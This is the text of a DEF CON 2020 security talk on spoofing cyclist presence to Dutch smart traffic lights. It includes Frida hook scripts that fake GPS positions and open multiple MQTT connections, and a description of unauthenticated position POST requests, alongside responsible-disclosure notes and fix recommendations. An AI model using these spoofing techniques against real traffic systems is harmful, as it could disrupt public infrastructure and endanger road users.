ZOLDER

HACKING TRAFFIC LIGHTS

DEFCON 2020
WHO ARE WE?

• Wesley Neelen
  • Hacker
  • OSCP / OSCE
  • 8+ years of experience
  • Internet of Things security
• Rik van Duijn
  • Hacker
  • OSCP / OSCE
  • 8+ years of experience
  • Malware analysis

DISCLAIMER: NO SMART TRAFFIC EXPERTS 😊. WE DO USE BICYCLES
INTRODUCTION TO SMART TRAFFIC

Creating a platform to exchange information:

- Road signs
- Parking status
- Traffic status
- Traffic light systems
- Road users
  - Cyclist, cars, trucks, emergency vehicles
Creating a platform to exchange information:

• Road signs

• Parking status

• Traffic status

• Traffic light systems

• Road users
  • Cyclist, cars, trucks, emergency vehicles ...

Our research focus
FACTS & FIGURES

In the Netherlands:
• 17+ million citizens - 22.8 million bicycles
• 35,000 kilometres cycling infrastructure
WAIT A MINUTE, YOU ARE LETTING ME TALK TO TRAFFIC LIGHTS?
ongoing partnerships

Goal:
• Safety
• Comfort
• Traffic flow
ONGOING PARTNERSHIPS

Goal:
• Safety
• Comfort
• Traffic flow

Apps to connect:
• Cyclists, decreases the time to green
• Trucks, a green flow
• Emergency vehicles, instant green and notify others
ONGOING PARTNERSHIPS

Goal:
• Safety
• Comfort
• Traffic flow

Apps to connect:
• Cyclists, decreases the time to green
• Trucks, a green flow
• Emergency vehicles, instant green and notify others
ONGOING PARTNERSHIPS

Goal:
• Safety
• Comfort
• Traffic flow

Apps to connect:
• Cyclists, decreases the time to green
• Trucks, a green flow
• Emergency vehicles, instant green and notify others
ONGOING PARTNERSHIPS

Goal:
- Safety
- Comfort
- Traffic flow

Apps to connect:
- Cyclists, decreases the time to green
- Trucks, a green flow
- Emergency vehicles, instant green and notify others

VRI’s are being replaced for iVRI’s (EN: TLC to iTLC)
- VRI controls all traffic lights at 1 intersection
- i for Intelligent
- Currently: 513 across the Netherlands (5500 VRI’s total)

Image credit: https://en.wikipedia.org/wiki/Traffic_light_control_and_coordination
HOW ARE THINGS CONNECTED (SIMPLIFIED)?
(Current state. Future: e.g. car-to-car, 5G-enabled... :-s)
**ETSI CAM OBJECTS**

- ETSI - European Telecommunications Standards Institute
- ITS Intelligent Transport Systems

- CAM – Cooperative Awareness Message (EU)
- BSM – Basic Safety Message (US)
ETSI CAM OBJECTS

- Contents
  - Basic Container
    - Position
    - Station type
  - HF Container
    - High speed data
    - Speed
    - Yaw
    - etc
  - LF Container
    - Static / slow changing data
    - Lights
    - Path history

Image credit: ETSI (https://www.etsi.org/deliver/etsi_en/302600_302699/30263702/01.03.01_30/en_30263702v010301v.pdf)
Figure 11: PKI architecture

Image credit: ETSI (https://www.etsi.org/deliver/etsi_ts/102900_102999/102940/01.03.01_60/ts_102940v010301p.pdf)
ITS SECURITY

- Standard describes signing messages
- CAM has a station type
- Certificate contains SSP and ITS-AID
  - Intelligent Transport System Application ID
    - Describes basic permissions
  - Service Specific Permissions
    - Describes specific permissions such as:
      - Emergency container
      - Dangerous good container

An incoming signed CAM is accepted by the receiver if the certificate is valid and the CAM is consistent with the ITS-AID and SSP in its certificate.

Image credit: ETSI (https://www.etsi.org/deliver/etsi_ts/102900_102999/102940/01.03.01_60/ts_102940v010301p.pdf)
ITS SECURITY

- Security Standards exists
- Implementation requires a central certificate authority and infrastructure
- Even then it might be good to monitor the messages sent across infrastructure.
- There are research trying to detect abuse: https://github.com/josephkamel/F2MD

Image credits: (https://docbox.etsi.org/Workshop/2019/201903_ITSWS/SESSION02/SYSTEMX_KAISER.pdf) and (https://github.com/josephkamel/F2MD)
REAL LIFE IMPLEMENTATION 1 – VIEWING CAM

• Android application for cyclists

• Decompiled: CAM objects over MQTT

• Hard time imitating: ASN and Protobuf

• Let’s use (for the first time) 😊: FRIDA

• Hooked the CAM publisher function:

```cpp
value basicContainer ::= {
  stationType: cyclist,
  referencePosition {
    latitude: 51xxxxx,
    longitude: 50xxxxx,
    positionConfidenceEllipse {
      semiMajorConfidence: unavailable,
      semiMinorConfidence: unavailable,
      semiMajorOrientation: unavailable
    },
    altitude {
      altitudeValue: 4000,
      altitudeConfidence: unavailable
    }
  }
}
```
REAL LIFE IMPLEMENTATION 1 – MODIFYING CAM

```javascript
const playback = [
    "51.09,5.18;4;18,54.0;2.25;70.1",
    "51.09,5.18;4;18,54.0;3.25;65.9"
];

camp.onExampleLocationChangeEvent.implementation = function (v) {
    for (index = 0; index <= playback.length-1; index++) {
        var long = parseFloat(playback[index].split(';')[0].split(',')[0]);
        var lat = parseFloat(playback[index].split(';')[0].split(',')[1]);
        var speed = parseFloat(playback[index].split(';')[4]);
        var bearing = parseFloat(playback[index].split(';')[5]);
        var accuracy = parseFloat(playback[index].split(';')[1]);
        var altitude = parseFloat(playback[index].split(';')[3]);
        v.mExampleLocation.value_ANDROIDLOCATION.setSpeed(speed);
        v.mExampleLocation.value_ANDROIDLOCATION.setBearing(bearing);
        v.mExampleLocation.value_ANDROIDLOCATION.setLatitude(long);
        v.mExampleLocation.value_ANDROIDLOCATION.setLongitude(lat);
        v.mExampleLocation.value_ANDROIDLOCATION.setAccuracy(accuracy);
        v.mExampleLocation.value_ANDROIDLOCATION.setAltitude(altitude);
        this.publishCam(v.mExampleLocation.value, false);
        console.log(v.mExampleLocation.value);
    }
}
```
REAL LIFE IMPLEMENTATION 1 – MULTIPLE CYCLISTS

Every new MQTT connection seen as a new cyclist:

```javascript
    camp.publish.implementation = function (a, b, c, d) {
        console.log('Hooking publish event');
        this.deInit();
        this.init();
        console.log("Inited: " + this.isInited());
        console.log("clientId: " + this.clientId.value);
        Thread.sleep(0.5);
        console.log("Connected: " + this.isConnecteded());
        this.publish(a, b, c, d);
    };
```
REAL LIFE IMPLEMENTATION - 2

- Android application for cyclists
- Burp suite -> POST requests with position

```json
["heading":<DIRECTION>, "latitude":<LATITUDE>, "longitude":<LONGITUDE>, "speed":<SPEED>]
```

- Backend converting our input to CAM?
- No way to distinguish cyclists (no auth)
DEMO 1

Other traffic at the intersection

If i run the script...
DEMO 2

No traffic at the intersection

and with the script on our laptop we can make it turn green
WHAT COULD GO WRONG?
CONCLUSION

KEY ISSUE: No Signing

Despite specification in ETSI standard.

Allows to:
- Remotely influence a cycling traffic light;
- Or all cycling lights in a city at once;
- Imitate cyclists only (for now)
CONCLUSION

KEY ISSUE: No Signing

Despite specification in ETSI standard.

Allows to:
• Remotely influence a cycling traffic light;
• Or all cycling lights in a city at once;
• Imitate cyclists only (for now)

Impact:
• Limited: safety systems stay intact (no accidents)
• Causing annoyance due to unnecessary red light
• Funny, however: annoyance by red lights can lead to road rage

Ongoing: responsible disclosure process
CONCLUSION

KEY ISSUE: No Signing

Despite specification in ETSI standard.

Allows to:
- Remotely influence a cycling traffic light;
- Or all cycling lights in a city at once;
- Imitate cyclists only (for now)

Impact:
- Limited: safety systems stay intact (no accidents)
- Causing annoyance due to unnecessary red light
- Funny, however: annoyance by red lights can lead to road rage

WE ONLY GET ONE CHANCE TO IMPLEMENT THIS CORRECTLY

FOUNDATION FOR THE FUTURE
- Causing annoyance due to unnecessary red light
- Funny, however: annoyance by red lights can lead to road rage

Ongoing: responsible disclosure process
RECOMMENDATIONS

1. Implement some form of authentication

2. Monitor unexpected / implausible behavior at the backend

3. Block abuse
Q&A

Thursday, August 6th, 2020
13:30 - 14:00 (Pacific Time)

Or contact us directly:

@WESLEYNEELEN  @RIKVDUIJN